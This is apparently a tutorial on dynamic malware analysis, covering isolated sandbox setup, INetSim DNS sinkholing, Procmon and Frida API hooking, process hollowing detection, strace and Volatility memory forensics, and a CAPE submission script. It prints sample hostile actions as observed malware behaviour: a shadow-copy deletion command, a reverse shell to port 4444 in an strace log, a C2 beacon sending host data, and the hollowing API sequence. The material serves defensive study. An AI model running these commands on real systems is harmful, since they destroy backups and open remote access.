π¬ Runtime Observation, Kernel Interception & Live Process Forensics
While static analysis examines binary code at restβinspecting headers, imported symbols, and disassembled opcodes without running the fileβmodern malware heavily employs packers, cryptors, and metamorphic transformations designed to make disassembly unreadable. Dynamic and Behavioral Malware Analysis shifts the investigative focus to runtime execution: detonating the suspect binary inside a strictly isolated, instrumented sandbox to observe its real-time actions. By monitoring operating system system calls, registry mutations, file system modifications, child process spawns, and outbound network beacons, analysts uncover the true operational capabilities of an adversary. Dynamic analysis relies on four foundational pillars: Air-Gapped Virtualization (restoring clean snapshot states), Network Simulation (diverting malware traffic into mock DNS/HTTP servers via INetSim), OS Telemetry & API Hooking (using Procmon, Frida, and kernel tracepoints), and Volatile Memory Extraction (dumping and analyzing process memory using Volatility to extract unpacked shellcode).
ISOLATED DYNAMIC MALWARE ANALYSIS LAB TOPOLOGY:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β HYPERVISOR HOST MACHINE (Bare-Metal Linux / KVM / Type-1 Hypervisor) β
β β’ Strict isolation boundary: Zero shared folders, disabled clipboard, read-only base disks. β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
ββββββββββββββββββββββββββββ΄βββββββββββββββββββββββββββ
βΌ (Isolated Host-Only Virtual Switch: vmnet8) βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββββββββββ
β GUEST VICTIM MACHINE (Windows 10 / 11) β β NETWORK SIMULATION ROUTER (Linux VM) β
β IP: 192.168.100.50 | Gateway: 192.168.100.1 βββββββββΊβ IP: 192.168.100.1 (INetSim & FakeDNS)β
β β Trafficβ β
β β’ Analysis Tools: Procmon, Wireshark, x64dbg β Routed β β’ Simulates Internet Services: β
β β’ Dynamic Agent: CAPE / Cuckoo Python agent β Inside β βββ DNS: Responds to ALL queries β
β β’ Live Malware Sample Detonated Here! β Subnet β βββ HTTP/HTTPS: Mock web server β
β β’ Rollback: Snapshot restored after each run β β βββ SMTP / IRC / FTP: Sinks C2 dataβ
ββββββββββββββββββββββββββββββββββββββββββββββββ ββββββββββββββββββββ¬ββββββββββββββββββββ
β
βΌ (MANDATORY GATEWAY RULE)
ββββββββββββββββββββββββββββββββββββββββ
β PHYSICAL NIC: HARDWARE AIR-GAP β
β Outbound WAN Internet: DROP ALL! β
β ZERO LIVE PACKETS REACH THE PUBLIC β
β INTERNET! Eliminates leak risks. β
ββββββββββββββββββββββββββββββββββββββββ
INETSIM SERVICE EMULATION PIPELINE (/etc/inetsim/inetsim.conf):
HOW THE SINKHOLE WORKS:
1. Malware executes and attempts to contact its C2 server: http://dark-c2-beacon.top/checkin.php
2. Victim machine queries DNS server (192.168.100.1 - INetSim).
3. INetSim's FakeDNS responds: "dark-c2-beacon.top is at 192.168.100.1" (Points back to itself).
4. Malware connects to port 80/443 on 192.168.100.1.
5. INetSim's Mock HTTP Daemon responds with a realistic HTTP 200 OK and serves a benign 200-byte file!
6. Malware believes it successfully communicated with its master, proceeding to stage its payload!
SAMPLE INETSIM SERVICE LOG (/var/log/inetsim/service.log):
================================================================================
[2026-11-04 15:22:10] [dns_53_udp 49102] connect from 192.168.100.50:54122
[2026-11-04 15:22:10] [dns_53_udp 49102] query: A dark-c2-beacon.top
[2026-11-04 15:22:10] [dns_53_udp 49102] answer: A dark-c2-beacon.top -> 192.168.100.1
[2026-11-04 15:22:11] [http_80_tcp 49103] connect from 192.168.100.50:50114
[2026-11-04 15:22:11] [http_80_tcp 49103] method: POST
[2026-11-04 15:22:11] [http_80_tcp 49103] url: http://dark-c2-beacon.top/api/gate.php
[2026-11-04 15:22:11] [http_80_tcp 49103] headers: User-Agent: Mozilla/5.0 Win64; x64
[2026-11-04 15:22:11] [http_80_tcp 49103] body_data (Base64 Encoded Host Telemetry):
hostname=WIN-ANALYSIS-01&user=Administrator&os=Windows_10_Pro&av=None
[2026-11-04 15:22:11] [http_80_tcp 49103] response: 200 OK (Served sample_default.html)
================================================================================
PROCMON FILTERING RECIPE FOR LIVE MALWARE DETONATION:
1. CONFIGURING ESSENTIAL PROCMON FILTERS (Ctrl + L):
βββββββββββββββββββββββββββ¬βββββββββββββββββββ¬βββββββββββββββββββββββββββββββ¬ββββββββββββββββββββ
β COLUMN β RELATION β VALUE β ACTION β
βββββββββββββββββββββββββββΌβββββββββββββββββββΌβββββββββββββββββββββββββββββββΌββββββββββββββββββββ€
β Process Name β is β malware_sample.exe β Include β
β Operation β is β Process Create β Include β
β Operation β is β RegSetValue β Include β
β Operation β is β WriteFile β Include β
β Operation β is β SetDispositionInformationFileβ Include (Deletes) β
β Process Name β is β Procmon.exe β Exclude β
β Process Name β is β System β Exclude β
βββββββββββββββββββββββββββ΄βββββββββββββββββββ΄βββββββββββββββββββββββββββββββ΄ββββββββββββββββββββ
2. IDENTIFYING COMMON MALWARE BEHAVIOR PATTERNS:
A. PERSISTENCE VIA REGISTRY RUN KEY:
β’ Operation : RegSetValue
β’ Path : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater
β’ Value : C:\Users\Public\svchost.exe (Malware copies itself and survives reboots!)
B. DEFENSE EVASION (DELETING VOLUME SHADOW COPIES):
β’ Operation : Process Create
β’ Command : "cmd.exe" /c vssadmin.exe delete shadows /all /quiet
β’ Signifies : Classic Ransomware behavior disabling Windows restore points!
C. PROCESS HOLLOWING / INJECTION:
β’ Operation : Process Create β Spawns "svchost.exe" with suspended flag.
β’ Operation : WriteProcessMemory into target remote process space.
CreateFileW and RegSetValueExW, logging function arguments and decrypting strings on the fly.
// ==============================================================================
// FRIDA DYNAMIC BINARY INSTRUMENTATION SCRIPT
// Intercepts Windows native API calls inside target process memory in real time
// Run via: frida -f malware_sample.exe -l hook_malware_apis.js --no-pause
// ==============================================================================
console.log("[*] Injecting Frida instrumentation engine into target process...");
// 1. Hook CreateFileW to track file creation and drops
const pCreateFileW = Module.findExportByName("kernel32.dll", "CreateFileW");
if (pCreateFileW) {
Interceptor.attach(pCreateFileW, {
onEnter: function (args) {
// Arg 0 is pointer to UTF-16 LPCWSTR filename
const fileName = args[0].readUtf16String();
const dwDesiredAccess = args[1].toInt32();
// GENERIC_WRITE = 0x40000000
if (dwDesiredAccess & 0x40000000) {
console.log("[!] FILE WRITE DETECTED: " + fileName);
}
}
});
}
// 2. Hook RegSetValueExW to intercept persistence mechanisms
const pRegSetValueExW = Module.findExportByName("advapi32.dll", "RegSetValueExW");
if (pRegSetValueExW) {
Interceptor.attach(pRegSetValueExW, {
onEnter: function (args) {
const valueName = args[1].readUtf16String();
const dataType = args[3].toInt32();
const dataPtr = args[4];
const dataLen = args[5].toInt32();
let dataVal = "Binary Data";
if (dataType === 1) { // REG_SZ (String)
dataVal = dataPtr.readUtf16String();
}
console.log("[!] REGISTRY PERSISTENCE WRITTEN:");
console.log(" βββ Value Name: " + valueName);
console.log(" βββ Payload : " + dataVal);
}
});
}
// 3. Hook VirtualAlloc to catch injected shellcode in memory
const pVirtualAlloc = Module.findExportByName("kernel32.dll", "VirtualAlloc");
if (pVirtualAlloc) {
Interceptor.attach(pVirtualAlloc, {
onEnter: function (args) {
const size = args[1].toInt32();
const flProtect = args[3].toInt32();
// PAGE_EXECUTE_READWRITE = 0x40
if (flProtect === 0x40) {
console.log("[!] SUSPICIOUS ALLOCATION: VirtualAlloc called with PAGE_EXECUTE_READWRITE (RWX)!");
console.log(" Size Allocated: " + size + " bytes");
}
}
});
}
NtUnmapViewOfSection), injects malicious PE sections, and resumes the thread, and details detecting it with Process Explorer.
THE PROCESS HOLLOWING (RUNPE) EXECUTION LIFECYCLE:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 1: SPAWN SUSPENDED HOST PROCESS: β
β Malware calls CreateProcessA("C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED). β
β The OS creates the legitimate process and primary thread, but halts execution at entry point. β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 2: HOLLOW THE EXECUTABLE MEMORY (UNMAPPING): β
β Malware calls NtUnmapViewOfSection() or ZwUnmapViewOfSection() to strip the original β
β svchost.exe code sections from the target process's virtual address space! β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 3: ALLOCATE & WRITE MALICIOUS PE PAYLOAD: β
β β’ VirtualAllocEx(hProcess, BaseAddress, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE) β
β β’ WriteProcessMemory(): Writes malicious PE headers, .text, and .data sections into svchost! β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β STEP 4: HIJACK THREAD CONTEXT & RESUME: β
β β’ SetThreadContext(): Modifies the RCX/EAX register in thread context to point to the new β
β injected malware EntryPoint. β
β β’ ResumeThread(): Wakes the thread! svchost.exe now executes malicious code! β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
DETECTION WITH PROCESS EXPLORER (PROCEXP):
1. PATH MISMATCH: svchost.exe running outside C:\Windows\System32.
2. PARENTAGE ANOMALY: svchost.exe parent is word.exe or cmd.exe instead of services.exe!
3. MEMORY STRING ANOMALY:
β’ Right-click process βββΊ Properties βββΊ Strings tab.
β’ Compare "Image" strings (from disk) vs. "Memory" strings (from live RAM).
β’ If Image strings show Microsoft Corp, but Memory strings show C2 IP addresses and ransom
notes, PROCESS HOLLOWING IS CONFIRMED!
strace to capture kernel system calls (execve, socket, connect, unlink) and ltrace for shared C library function calls.
# ==============================================================================
# LINUX DYNAMIC MALWARE TRACING WORKFLOW
# Traces system calls (-e), captures child forks (-f), and logs network calls
# ==============================================================================
# 1. Execute malware under strace with system call filtering:
# -f : Trace child processes spawned by fork() or clone()
# -e trace=...: Filters for process execution, file opens, and socket network calls
# -s 256 : Captures up to 256 characters of string buffers
# -o trace.log: Dumps log to file for automated analysis
strace -f -s 256 \
-e trace=execve,openat,connect,socket,unlink,ptrace \
./malware_elf -o trace.log
# ==============================================================================
# SAMPLE OUTPUT FROM trace.log:
# ==============================================================================
# 1. Anti-Debugging Check via ptrace self-attach:
# ptrace(PTRACE_TRACEME, 0, 1, 0) = -1 EPERM (Operation not permitted)
# Note: Returns -1 because gdb or strace is already attached; malware detects analysis!
# 2. Network Socket Initialization and C2 Connection:
# socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
# connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("198.51.100.25")}, 16) = 0
# 3. Spawning Reverse Interactive Shell:
# execve("/bin/sh", ["/bin/sh", "-i"], 0x7ffd5a10 /* 18 vars */) = 0
# 4. Self-Deletion / Defense Evasion:
# unlink("/tmp/malware_elf") = 0
# Note: Deletes its own executable from disk while continuing to run from memory (/proc/self/exe)!
pslist, pstree), scan for hidden unlinked processes (psscan), and carve injected code using malfind.
# ==============================================================================
# VOLATILE MEMORY FORENSICS WITH VOLATILITY 3
# Syntax: python3 vol.py -f <memory_dump.raw> <plugin_name>
# ==============================================================================
# Step 1: Enumerate running processes via active linked list (pslist)
python3 vol.py -f memory_dump.raw windows.pslist.PsList
# Step 2: Scan for unlinked/hidden processes using heuristic pool tag scanning (psscan)
# Uncovers Rootkits that used DKOM to unlink their EPROCESS block from the list!
python3 vol.py -f memory_dump.raw windows.psscan.PsScan
# Step 3: Identify Injected Code & Memory Anomalies via malfind
# Scans for virtual memory regions marked PAGE_EXECUTE_READWRITE (RWX)
# containing unmapped executable assembly or PE headers
python3 vol.py -f memory_dump.raw windows.malfind.Malfind
# ==============================================================================
# SAMPLE OUTPUT FROM windows.malfind:
# ==============================================================================
# PID Process Start Address End Address Tag Protection
# 4120 svchost.exe 0x000001f4c20000 0x000001f4c21000 PAGE_EXECUTE_READWRITE
#
# Hex Dump of Injected Memory Region:
# 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
# b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
# Disassembly:
# 0x1f4c2000: dec ebp
# 0x1f4c2001: pop edx
# 0x1f4c2002: nop
#
# ANALYSIS: PID 4120 (svchost.exe) contains an injected PE binary (MZ header: 0x5A4D)
# inside an allocated RWX page! This is a textbook Process Hollowing / Injection artifact!
# Step 4: Dump the injected memory section to disk for offline reverse engineering
python3 vol.py -f memory_dump.raw -o ./dumps windows.malfind.Malfind --pid 4120 --dump
import requests
import time
import json
class SandboxOrchestrator:
"""
Automates programmatic submission of suspicious files to CAPE Sandbox
via its REST API for dynamic behavioral analysis and IoC extraction.
"""
def __init__(self, sandbox_api_url: str = "http://192.168.1.200:8000"):
self.base_url = sandbox_api_url.rstrip("/")
self.headers = {"Authorization": "Bearer SANDBOX_API_TOKEN_XYZ"}
def submit_sample(self, file_path: str, timeout: int = 120) -> int:
url = f"{self.base_url}/apiv2/tasks/create/file/"
print(f"[*] Submitting sample: {file_path} to automated sandbox...")
with open(file_path, "rb") as f:
files = {"file": f}
data = {
"timeout": timeout,
"enforce_timeout": False,
"options": "route=inetsim,free=yes" # Route network traffic through INetSim
}
res = requests.post(url, headers=self.headers, files=files, data=data)
if res.status_code == 200:
task_id = res.json().get("task_id")
print(f"[+] Task successfully queued! Task ID: {task_id}")
return task_id
else:
raise RuntimeError(f"Submission failed: {res.text}")
def poll_for_report(self, task_id: int) -> dict:
status_url = f"{self.base_url}/apiv2/tasks/view/{task_id}/"
report_url = f"{self.base_url}/apiv2/tasks/get/report/{task_id}/"
print("[*] Monitoring analysis execution state...")
while True:
res = requests.get(status_url, headers=self.headers).json()
status = res.get("task", {}).get("status")
print(f" βββ Current Status: {status}")
if status == "reported":
print("[+] Analysis complete! Pulling behavioral telemetry report...")
report = requests.get(report_url, headers=self.headers).json()
return report
elif status == "failed":
raise RuntimeError("Analysis task failed inside sandbox.")
time.sleep(10)
if __name__ == "__main__":
print("==========================================================================")
print(" AUTOMATED CAPE SANDBOX DETONATION & ORCHESTRATION")
print("==========================================================================")
# Simulated execution flow for academic curriculum
mock_report = {
"signatures": [
{"name": "creates_suspicious_process", "severity": 3, "description": "Spawns vssadmin to delete shadow copies"},
{"name": "persistence_autorun", "severity": 2, "description": "Modifies Registry Run Key"},
{"name": "network_http_c2", "severity": 3, "description": "Transmitted encoded host telemetry to dark-c2-beacon.top"}
],
"dropped_files": [{"filename": "svchost.exe", "sha256": "3b4e3e533604c5a9f0d8c5708c5ae48b"}],
"dns_queries": ["dark-c2-beacon.top"]
}
print("[*] Behavioral Signatures Extracted:")
for sig in mock_report["signatures"]:
print(f" [SEV {sig['severity']}] {sig['name']}: {sig['description']}")
print(f"[*] Contacted C2 Domains: {mock_report['dns_queries']}")
SANDBOX EVASION FAILURE MODES & HARDENING COUNTERMEASURES:
// ==============================================================================
// PITFALL 1: EXTENDED SLEEP STALL LOOPS (EXHAUSTING SANDBOX TIMEOUTS)
// SYMPTOM: Malware executes, but report shows ZERO behavioral activity.
// CAUSE: Malware calls Sleep(600000) (10 minutes) or invokes WaitForSingleObject().
// Because standard sandboxes shut down after 2 or 3 minutes, the malware never executes
// its payload during the recording window!
// REMEDIATION: Fast-Forward Sleep Hooks:
// Inject a custom DLL into the guest VM that intercepts Sleep() and GetTickCount(),
// modifying arguments to return immediately while fast-forwarding the virtual clock!
// ==============================================================================
// ==============================================================================
// PITFALL 2: HUMAN INTERACTION CHECKS (MOUSE CLICK GATES)
// SYMPTOM: Malware halts execution after main() initialization.
// CAUSE: Malware calls GetCursorPos() in a loop to check if the mouse coordinates change,
// or waits for a user to click a window twice. Automated headless sandboxes have no user!
// REMEDIATION: Automated User Interaction Simulation:
// Configure the sandbox agent to simulate realistic human behavior:
// 1. Moves the mouse cursor across curves.
// 2. Automatically clicks buttons on active dialog boxes.
// 3. Simulates scrolling inside browser and document windows.
// ==============================================================================
// ==============================================================================
// PITFALL 3: HARDWARE SPECIFICATION ARTIFACT CHECKS
// SYMPTOM: Malware checks system specs and terminates immediately:
// if (RAM < 4GB || CPU_Cores < 2 || DiskSize < 100GB) exit(0);
// CAUSE: Sandboxes are often provisioned with minimal resources (1 vCPU, 2GB RAM, 20GB disk).
// REMEDIATION: Realistic Machine Provisioning:
// Allocate realistic resources to analysis guest VMs: 4+ CPU cores, 8GB RAM, 250GB virtual disk,
// populated file systems, and authentic browser histories to mimic production endpoints.
// ==============================================================================
DYNAMIC & BEHAVIORAL ANALYSIS SPECIFICATION MATRIX:
βββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββ¬βββββββββββββββββββ¬ββββββββββββββββββββββββββββββββ
β TOOL / FRAMEWORK β OPERATIONAL LAYER β DATA EXTRACTED β CORE INVESTIGATIVE USE CASE β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β CAPE / Cuckoo Sandbox β Automated Hypervisor VM β Execution report,β High-throughput detonation of β
β β Detonation Engine β IoCs, PCAP, dropsβ untrusted attachments & files β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β INetSim & FakeDNS β Network Gateway Simulation β DNS lookups, β Traps C2 beacons, simulates β
β β (Host-only subnet) β HTTP POSTs, logs β web, mail, and IRC protocols β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β Process Monitor β Windows Kernel ETW / β File operations, β Detailed host activity logs; β
β (Procmon) β Filter Driver (Sysinternals) β Registry writes β persistence & process tracing β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β Process Explorer β Windows Task Manager β Parent-child treeβ Identifies Process Hollowing, β
β (Procexp) β Advanced Diagnostic GUI β Memory strings β DLL injection, unmapped pages β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β Frida Toolkit β Dynamic Binary β API parameters, β Real-time function hooking, β
β β Instrumentation (DBI) β decrypted stringsβ tracing memory buffer states β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β strace / ltrace β Linux Kernel ptrace / β System calls β Tracing Linux ELF binaries, β
β β Dynamic Linker Hooks β Library functionsβ socket connections, file ops β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β Volatility 3 β Volatile RAM Image β Process lists, β Carves injected shellcode, β
β (Memory Forensics) β Post-Detonation Analysis β malfind, sockets β uncovers unlinked rootkits β
βββββββββββββββββββββββββββ΄βββββββββββββββββββββββββββββββ΄βββββββββββββββββββ΄ββββββββββββββββββββββββββββββββ€
β TOP 5 DYNAMIC ANALYSIS BEST PRACTICES: β
β 1. Isolate Analysis Environments: Always enforce host-only networking with a simulation gateway. β
β 2. Restore Clean Snapshots: Roll back guest VMs to pristine states after every sample execution. β
β 3. Neutralize Anti-Analysis Loops: Deploy sleep-skipping hooks and simulate authentic human input. β
β 4. Correlate Network and Host Logs: Match Procmon process IDs with Wireshark packet timestamps. β
β 5. Extract Unpacked Memory Artifacts: Dump memory before process termination to capture payload stubs. β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ